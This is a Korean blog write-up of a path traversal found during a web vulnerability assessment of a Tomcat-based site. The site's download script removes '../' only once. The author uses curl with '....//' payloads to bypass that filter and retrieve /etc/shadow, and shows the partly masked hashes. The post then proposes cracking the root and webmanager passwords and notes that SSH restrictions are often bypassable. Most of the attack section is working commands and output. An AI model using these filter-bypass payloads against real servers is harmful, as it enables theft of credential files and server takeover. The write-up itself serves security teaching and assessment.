홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#경로조작 #Path Traversal #파일다운로드 취약점 #/etc/shadow #A5-Security Misconfiguration #A4-Insecure Direct Object References

어떤 경로조작 취약점 점검 과정

이 문서는 홈페이지 취약점 분석과정에서 발견한 실제 취약점이다. 해당 누리집은 Apache 웹서버와 Apache Tomcat 기반의 서비스였으며 톰캣이 root 권한으로 실행중이어서 /etc/shadow 파일 다운로드가 가능하였다.

참고할 웹해킹 훈련장

다음 훈련장은 위의 취약점과 유사한 환경에서 시스템 침투/장악 과정을 설명하고 있으므로 참조하기 바란다.

점검 및 취약점 진단

해당 누리집이 제공하는 파일 다운로드 기능은 다음과 같다.

https://www.victim.co.kr/file/FileDownload.jsp?fileName=brochure_img.zip

curl을 이용하여 위 URL의 HTTP 헤더를 확인하면 다음과 같다.

root@kali:~# curl -I https://www.victim.co.kr/file/FileDownload.jsp?fileName=brochure_img.zip
HTTP/1.1 200 OK
Date: Wed, 29 Mar 2017 07:24:04 GMT
Content-Disposition: attachment;filename=brochure_img.zip
Content-Transfer-Encoding: binary
Pragma: no-cache;
Content-Length: 2043094
Content-Type: application/octer-stream

root@kali:~#

다운로드할 파일인 brochure_img.zip의 크기가 2043094 바이트이다.

이 다운로드 기능이 상위 경로(../)에 대해서 어떻게 반응하는 지 살펴보았다. 입력은 fileName=../brochure_img.zip이다.

root@kali:~# curl -I https://www.victim.co.kr/file/FileDownload.jsp?fileName=../brochure_img.zip
HTTP/1.1 200 OK
Date: Wed, 29 Mar 2017 07:26:00 GMT
Content-Disposition: attachment;filename=brochure_img.zip
Content-Transfer-Encoding: binary
Pragma: no-cache;
Content-Length: 2043094
Content-Type: application/octer-stream

root@kali:~#

위의 결과는 fileName=brochure_img.zip일 때와 동일한 것을 알 수 있다. 서버가 전송하는 파일 이름도 Content-Disposition: attachment;filename=brochure_img.zip로 동일하다.

입력이 fileName=../../brochure_img.zip인 경우에도 시험해본다.

root@kali:~# curl -I https://www.victim.co.kr/file/FileDownload.jsp?fileName=../../brochure_img.zip
HTTP/1.1 200 OK
Date: Wed, 29 Mar 2017 07:26:47 GMT
Content-Disposition: attachment;filename=brochure_img.zip
Content-Transfer-Encoding: binary
Pragma: no-cache;
Content-Length: 2043094
Content-Type: application/octer-stream

root@kali:~#

역시 fileName=brochure_img.zip일 때와 동일한 결과를 반환한다.

위의 결과에서 FileDownload.jsp는 "../" 문자열을 제거하는 것으로 추정하였다. 이러한 추정을 확인하기 위해서 매개변수에 ".../" 문자열을 반복하여 입력하였다. 만약 추정이 맞다면 ".../.../"는 ".."으로 변환될 것이다.

이번에 사용한 입력은 fileName=.../.../etc/shadow이다.

root@kali:~# curl https://www.victim.co.kr/file/FileDownload.jsp?fileName=.../.../etc/shadow
<html>
<br/><h2>Could not get file name:<br>..etc/shadow<h2>
<br/><center><h3><a href='javascript: history.go(-1)'>Back</a></h3></center>
<br/>© webAccess
</html>
root@kali:~#

위에서 fileName=.../.../etc/shadow입력이 서버에서는 "..etc/shadow"로 처리한 것을 확인할 수 있다.

오류가 발생했을 때 이렇게 친절한(?) 정보를 제공하게 되면 악의적인 공격자들에게 도움을 줄 수 있다.

이번에 사용한 입력은 fileName=....//....//etc/shadow이다. 부모 경로를 지정하는 "../" 문자열이 서버에서 생성되는 지 확인하는 과정이다.

root@kali:~# curl https://www.victim.co.kr/file/FileDownload.jsp?fileName=....//....//etc/shadow
<html>
<br/><h2>Could not get file name:<br>../../etc/shadow<h2>
<br/><center><h3><a href='javascript: history.go(-1)'>Back</a></h3></center>
<br/>© webAccess
</html>
root@kali:~#

서버의 메시지에서 공격자가 입력한 "....//....//" 문자열이 "../../"로 처리되는 것을 알 수 있다. FileDownload.jsp는 단순히 1회에 한해서 "../" 문자열을 제거하는 것이 확인되었다.

이제 공격자는 원하는 시스템 파일을 열어볼 수 있는 가능성이 있다는 것을 알게 되었다. 충분하게 많은 "../" 문자열을 반복하여 시스템 파일 다운로드를 시도한다.

이번에 사용한 입력은 fileName=.....//.....//.....//.....//.....//.....//.....//etc/shadow이다.

root@kali:~# curl https://www.victim.co.kr/file/FileDownload.jsp?fileName=.....//.....//.....//.....//.....//.....//.....//etc/shadow
root:$6$****************$***********************.eRLuEPxumyfacBxM**********************************************:16789:0:99999:7:::
bin:*:16372:0:99999:7:::
daemon:*:16372:0:99999:7:::
adm:*:16372:0:99999:7:::
lp:*:16372:0:99999:7:::
sync:*:16372:0:99999:7:::
shutdown:*:16372:0:99999:7:::
halt:*:16372:0:99999:7:::
mail:*:16372:0:99999:7:::
operator:*:16372:0:99999:7:::
games:*:16372:0:99999:7:::
ftp:*:16372:0:99999:7:::
nobody:*:16372:0:99999:7:::
avahi-autoipd:!!:16789::::::
pegasus:!!:16789::::::
dbus:!!:16789::::::
polkitd:!!:16789::::::
abrt:!!:16789::::::
tss:!!:16789::::::
apache:!!:16789::::::
unbound:!!:16789::::::
usbmuxd:!!:16789::::::
saslauth:!!:16789::::::
colord:!!:16789::::::
ntp:!!:16789::::::
libstoragemgmt:!!:16789::::::
rpc:!!:16789:0:99999:7:::
postfix:!!:16789::::::
rtkit:!!:16789::::::
qemu:!!:16789::::::
chrony:!!:16789::::::
rpcuser:!!:16789::::::
nfsnobody:!!:16789::::::
radvd:!!:16789::::::
sssd:!!:16789::::::
pulse:!!:16789::::::
gdm:!!:16789::::::
gnome-initial-setup:!!:16789::::::
pcp:!!:16789::::::
avahi:!!:16789::::::
sshd:!!:16789::::::
oprofile:!!:16789::::::
tcpdump:!!:16789::::::
webmanager:$6$****************$******.GIn/****/*********************************************************************.:16789:0:99999:7:::
systemd-bus-proxy:!!:16789::::::
systemd-network:!!:16789::::::
tomcat:!!:16790:0:99999:7:::
root@kali:~#

/etc/shadow 파일이 다운로도되는 것을 확인할 수 있다. John the Ripper와 같은 비밀번호 공격도구를 사용하면 -- 시간이 많이 걸리겠지만 -- rootwebmanager의 비밀번호를 알아낼 수 있을 것이다.

보통 경로조작 취약점은 /etc/passwd 파일을 열람하는 것으로 증빙한다. 이 경우에는 /etc/shadow 파일 열람이 가능하였는 데 이는 웹서버(여기서는 Tomcat WAS Server)가 root권한으로 실행되기 때문이다. 이 서버는 웹만으로도 서버를 장악할 수 있는 가능성이 크므로 실제 악의적인 해커라면 눈독을 들일 가능성이 높다.

이 웹 서버의 경우에는 특정 IP 주소에서만 SSH 접속이 되도록 설정되어 있었다. 때문에 rootwebmanager 계정의 비밀번호를 풀 수는 있겠지만 서버에 접속하기 위해서는 접속이 가능한 특정 IP 주소를 통해야 하므로 직접적인 접속은 어려웠다. (하지만 대부분의 경우 이를 우회할 수 있는 경로가 존재하는 경우가 많다.)

[처음 작성한 날: 2017.03.29]    [마지막으로 고친 날: 2017.03.29] 


< 이전 글 : 칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (2017.04.04)

> 다음 글 : WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (2017.01.30)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문